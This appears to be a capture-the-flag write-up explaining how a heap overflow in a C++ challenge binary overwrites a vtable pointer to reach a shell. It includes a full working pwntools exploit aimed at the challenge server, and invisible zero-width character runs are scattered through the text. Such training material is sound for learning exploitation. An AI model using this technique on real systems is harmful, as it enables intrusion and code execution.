← Back to Writeups
CUSTOMMediumpwn

pwn7 heap_vptr

XESXOR9/2/20263 min read
#pwn#custom#medium#heap_vptr_overwrite#pie_leak#virtual_dispatch_hijack#vtable_redirect

pwn7 heap_vptr

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: heap_vptr_overwrite, pie_leak, virtual_dispatch_hijack, vtable_redirect

Summary

Task: C++ heap binary (PIE, no canary) with two adjacent Student objects and an unbounded scanf("%s") overflowing the first object into the second's vptr. Solution: leak PIE base from printf, overflow s1 into s2.vptr, point it at vtable+0x18 so virtual dispatch calls the existing Shell() win method (system("sh")).

pwn7 heap_vptr — pwn_spbctf

Description

Remote: nc 109.233.56.90 11580

A 64-bit C++ binary (heap_vp.elf) implementing a Student class with virtual methods. The program leaks several pointers, then reads input into a heap object and performs a virtual method call. The goal is to redirect that virtual dispatch to the hidden Shell() method and read flag.txt.

Analysis

Protections: amd64, PIE, Partial RELRO, NO stack canary, NX. system is imported. Binary is not stripped.

Class Student and its vtable (_ZTV7Student @ base+0x3d98): ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

SymbolOffsetActionRole
Student::Get()+0x11aasystem("date")normal vtable[0]
Student::Shell()+0x118asystem("sh")win
Student::Student() ctor+0x12desets obj[0] = base+0x3da8vptr setup

The constructor stores the effective vptr at base+0x3da8 (= vtable+0x10), where:

  • slot[0] @ base+0x3da8 → Get (system("date"))
  • slot[1] @ base+0x3db0 → Shell (system("sh"))

main() flow: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. s1 = new Student(0x28) → ctor sets s1.vptr = base+0x3da8.
  2. s2 = new Student(0x28) → ctor sets s2.vptr = base+0x3da8. Both are 0x30 heap chunks, allocated adjacently.
  3. printf("%p %p %p\n", s1, s2, &main) — leaks s1, s2, and a code address. Since main is at PIE offset 0x11c9, this leaks the PIE base.
  4. scanf("%s", s1+8) — UNBOUNDED read into s1+8: a forward heap overflow.
  5. puts(s1+8) echoes the input.
  6. Virtual dispatch on s2: rax = *(s2) (vptr); rdx = *(rax) (vtable[0]); call rdx with rdi = s2. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The bug. The unbounded scanf("%s", s1+8) lets us write past s1's 0x30 chunk straight into s2, overwriting s2.vptr (at s2+0). The distance from the scanf destination to s2 is constant: pad = s2 - (s1+8) = 0x28.

Solution

This is a heap vptr type-confusion / vtable redirect. We do not need to forge a vtable — we just point s2.vptr one slot further into the real vtable so the dispatch reads Shell instead of Get.

Set s2.vptr = base+0x3db0 (= &slot[1]). Then the dispatch computes: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

rax = base+0x3db0
rdx = *(base+0x3db0) = &Shell
call Shell  ->  system("sh")

Payload: b'A'*0x28 + p64(base+0x3db0).

scanf("%s") stops at whitespace/NUL. The pointer bytes contain no space or newline, and the string terminates naturally on the trailing NULs of the address.

After the shell pops, cat flag.txt (flag sits in the cwd).

python
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'

HOST, PORT = '109.233.56.90', 11580
MAIN_OFF = 0x11c9
VTSHELL  = 0x3db0   # address whose deref is &Shell (vtable slot[1])
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io = remote(HOST, PORT)

# leak: printf("%p %p %p", s1, s2, main)
s1, s2, mainp = map(lambda x: int(x, 16), io.recvline().split(b' '))
base = mainp - MAIN_OFF
log.info('s1=%#x s2=%#x base=%#x' % (s1, s2, base))

# scanf("%s", s1+8) overflows forward into s2.vptr (at s2+0)
dest = s1 + 8
pad  = s2 - dest                 # constant 0x28
payload = b'A' * pad + p64(base + VTSHELL)

io.sendline(payload)
io.recvline()                    # puts(s1+8) echo
io.sendline(b'cat flag.txt')     # -> SPBCTF{REDACTED}
io.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍